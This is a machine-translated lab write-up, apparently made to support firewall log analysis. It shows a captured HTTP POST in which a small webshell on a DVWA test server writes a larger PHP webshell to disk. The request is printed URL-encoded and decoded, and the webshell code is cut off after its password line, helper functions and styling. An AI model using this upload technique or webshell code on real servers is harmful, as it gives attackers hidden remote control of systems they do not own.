HTTP protocol Packet analysis (pony upload Malaysia)

Source: Internet
Author: User

Recent job content is to analyze firewall logs, to see the logs are correct, local experiment pony upload big Horse crawl HTTP package as follows. Can be used for reference in the analysis process.

The behavior of the HTTP request is to create a dama.php file in the pony's current directory, which is the code for the inside of the pony.

post/dvwa/xiaoma.php http/1.1host:192.168.1.109user-agent:mozilla/5.0 (X11; Linux x86_64; rv:56.0) gecko/20100101 firefox/56.0accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8accept-language:en-us,en;q=0.5accept-encoding:gzip, deflatecontent-type:application/ x-www-form-urlencodedcontent-length:219930referer:http://192.168.1.109/dvwa/xiaoma.phpcookie:security= impossible; Phpsessid=bi5luo0u864miqcqffpgdql0i6connection:closeupgrade-insecure-requests:1F=c%3a%2fphpstudy%2fwww%2fdvwa%2fdama.php&C=%3c%3fphp%0d%0a%24password+%3d+%22admin%21%40%23%22%3b%2f%2fchange+password+here%0d%0aerror_reporting%
28e_error%29%3b%0d%0aset_time_limit%280%29%3b%0d%0a%24lanip+%3d+getenv%28%27remote_addr%27%29%3b%0d%0a%0d%0 afunction+root_gp%28%26%24array%29%0d
%0a%7b%0d%0a%09while%28list%28%24key%2c%24var%29+%3d+each%28%24array%29%29%0d%0a%09%7b%0d%0a%09%09if%28% 28strtoupper%28%24key%29+%21%3d+%24key+%7
c%7c+%27%27.intval%28%24key%29+%3d%3d+%22%24key%22%29+%26%26+%24key+%21%3d+%27argc%27+%26%26+%24key+%21%3d+% 27argv%27%29%0d%0a%09%09%7b%0d%0a%
09%09%09if%28is_string%28%24var%29%29+%24array%5b%24key%5d+%3d+stripslashes%28%24var%29%3b%0d%0a%09%09%09if% 28is_array%28%24var%29%29+%24array%5b
%24key%5d+%3d+root_gp%28%24var%29%3b++%0d%0a%09%09%7d%0d%0a%09%7d%0d%0a%09return+%24array%3b%0d%0a%7d%0d%0a%0d %0afunction+root_css%28%29%0d%0a%7b
%0d%0aprint%3c%3c%3cend%0d%0a%3cstyle+type%3d%22text%2fcss%22%3e%0d%0a%09*%7bpadding%3a0%3b+margin%3a0%3b%7d%0 D%0a%09body%7bbackground%3athree
dface%3bfont-family%3a%22verdana%22%2c+%22tahoma%22%2c+sans-serif%3b+font-size%3a13px%3bmargin-top%3a3px% 3bmargin-bottom%3a3px%3btable-layout%
3afixed%3bword-break%3abreak-all%3b%7d%0d%0a%09a%7bcolor%3a%23000000%3btext-decoration%3anone%3b%7d%0d%0a%09a% 3ahover%7bbackground%3a%2333ff33
%3b%7d%0d%0a%09table%7bcolor%3a%23000000%3bfont-family%3a%22verdana%22%2c+%22tahoma%22%2c+sans-serif% 3bfont-size%3a13px%3bborder%3a1px+solid+%
23999999%3b%7d%0d%0a%09td%7bbackground%3a%23f9f6f4%3b%7d%0d%0a++++++++.bt%7bbackground%3a%233d3d3d%3bcolor%3a% 23ffffff%3bborder%3a2px%3bfont%3a13
px+arial%2ctahoma%3bheight%3a22px%3b%7d%0d%0a%09.toptd%7bbackground%3athreedface%3b+width%3a310px%3b+ border-color%3a%23ffffff+%23999999+%2399999
9+%23ffffff%3b+border-style%3asolid%3bborder-width%3a1px%3b%7d%0d%0a%09.msgbox%7bbackground%3a%23ffffe0% 3bcolor%3a%23ff0000%3bheight%3a25px%3bfo
nt-size%3a12px%3bborder%3a1px+solid+%23999999%3btext-align%3acenter%3bpadding%3a3px%3bclear%3aboth%3b%7d%0d%0a %09.actall%7bbackground%3a%23f9f6f
4%3bfont-size%3a14px%3bborder%3a1px+solid+%23999999%3bpadding%3a2px

Post data content

F=c:/phpstudy/www/dvwa/dama.php&c=<?php$password = "[email protected]#";//change password Hereerror_ Reporting%28e_error); set_time_limit (0); $lanip = getenv (' remote_addr '); function root_gp (& $array) {while (list ($ Key, $var) = each ($array)) {if (Strtoupper ($key)! = $key%7c| ". Intval ($key) = =" $key ") && $key! = ' argc ' && $key! = ' argv ') {%09if (is_string ($var)) $array [$key] = Stri  Pslashes ($var), if (Is_array ($var)) $array [$key] = ROOT_GP ($var); }}return $array;} function Root_css () {print<<<end<style type= "text/css" >*{padding:0; margin:0;} body{background:threedface;font-family: "Verdana", "Tahoma", Sans-serif; font-size:13px;margin-top:3px; Margin-bottom:3px;table-layout%3afixed;word-break:break-all;} A{color: #000000; text-decoration:none;} A:hover{background: #33FF33;} Table{color: #000000; font-family: "Verdana", "Tahoma", sans-serif;font-size:13px;border:1px solid% 23999999;}        Td{background: #F9F6F4;} . bt{background: #3d3d3d; color: #ffffff; Border:2px;font:13px arial,tahoma;height:22px;}. Toptd{background:threedface, width:310px, Border-color: #FFFFFF #999999 #999999 #FFFFFF; border-style:solid; border-width:1px;}. Msgbox{background: #FFFFE0; color: #FF0000; height:25px;font-size:12px;border:1px solid #999999; text-align:center; Padding:3px;clear:both;}. Actall{background: #F9F6F4, font-size:14px;border:1px solid #999999;p adding:2px

HTTP protocol Packet analysis (pony upload Malaysia)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.